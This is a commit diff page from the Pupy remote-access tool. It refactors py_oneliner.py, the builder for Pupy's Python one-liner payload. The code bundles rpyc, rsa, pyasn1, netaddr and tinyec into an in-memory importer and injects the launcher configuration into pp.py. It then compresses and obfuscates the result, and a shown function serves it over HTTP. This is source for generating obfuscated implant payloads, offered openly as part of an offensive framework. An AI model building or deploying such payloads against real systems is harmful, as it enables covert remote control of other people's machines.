Skip to content

Commit cebb775

Browse files
committed
Include tinyec to python payload
1 parent 15c8af1 commit cebb775

File tree

1 file changed

+21
-24
lines changed

1 file changed

+21
-24
lines changed

pupy/pupylib/payloads/py_oneliner.py

+21-24
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
55

66
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
7-
import cPickle, re, os.path
7+
import cPickle, re, os.path, sys
88
import rpyc, rsa, pyasn1, yaml, netaddr
99
from pupylib.utils.obfuscate import compress_encode_obfs
1010
from pupylib.utils.term import colorize
@@ -21,37 +21,34 @@ def getLinuxImportedModules():
2121
return lines
2222

2323
def pack_py_payload(conf):
24-
print colorize("[+] ","green")+"generating payload ..."
24+
print colorize('[+] ','green')+'generating payload ...'
2525
fullpayload=[]
2626

27-
with open(os.path.join(ROOT,"packages","all", "pupyimporter.py")) as f:
28-
pupyimportercode=f.read()
29-
fullpayload.append(get_load_module_code(pupyimportercode,"pupyimporter")+"\n")
27+
with open(os.path.join(ROOT, 'packages', 'all', 'pupyimporter.py')) as f:
28+
pupyimportercode = f.read()
3029

31-
modules_dic=gen_package_pickled_dic(rpyc.__path__[0],"rpyc")
32-
fullpayload.append("import pupyimporter\npupyimporter.install()\npupyimporter.pupy_add_package(%s)\nimport rpyc"%repr(cPickle.dumps(modules_dic)))
30+
fullpayload.append(get_load_module_code(pupyimportercode, 'pupyimporter')+'\n')
31+
fullpayload.append(
32+
'\n'.join([
33+
'import pupyimporter',
34+
'pupyimporter.install()'
35+
]) + '\n'
36+
)
3337

34-
modules_dic=gen_package_pickled_dic(os.path.join(ROOT,"network"),"network")
35-
fullpayload.append("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(modules_dic)))
38+
for module in ('rpyc', 'pyasn1', 'rsa', 'netaddr', 'tinyec'):
39+
modules_dic = gen_package_pickled_dic(sys.modules[module].__path__[0], module)
40+
fullpayload.append('pupyimporter.pupy_add_package({})'.format(repr(cPickle.dumps(modules_dic))))
3641

37-
modules_dic=gen_package_pickled_dic(pyasn1.__path__[0],"pyasn1")
38-
fullpayload.append("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(modules_dic)))
42+
modules_dic = gen_package_pickled_dic(os.path.join(ROOT, 'network'), 'network')
43+
fullpayload.append('pupyimporter.pupy_add_package({})'.format(repr(cPickle.dumps(modules_dic))))
3944

40-
modules_dic=gen_package_pickled_dic(rsa.__path__[0],"rsa")
41-
fullpayload.append("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(modules_dic)))
42-
43-
modules_dic=gen_package_pickled_dic(yaml.__path__[0],"yaml")
44-
fullpayload.append("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(modules_dic)))
45-
46-
modules_dic=gen_package_pickled_dic(netaddr.__path__[0],"netaddr")
47-
fullpayload.append("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(modules_dic)))
48-
49-
with open(os.path.join(ROOT,"pp.py")) as f:
45+
with open(os.path.join(ROOT,'pp.py')) as f:
5046
code=f.read()
51-
code=re.sub(r"LAUNCHER\s*=\s*.*\n(#.*\n)*LAUNCHER_ARGS\s*=\s*.*", conf.replace("\\","\\\\"), code)
52-
fullpayload.append(code+"\n")
5347

54-
return compress_encode_obfs('\n'.join(fullpayload)+"\n")
48+
code = re.sub(r'LAUNCHER\s*=\s*.*\n(#.*\n)*LAUNCHER_ARGS\s*=\s*.*', conf.replace('\\','\\\\'), code)
49+
fullpayload.append(code+'\n')
50+
51+
return compress_encode_obfs('\n'.join(fullpayload)+'\n')
5552

5653

5754
def serve_payload(payload, ip="0.0.0.0", port=8080, link_ip="<your_ip>"):

0 commit comments

Comments
 (0)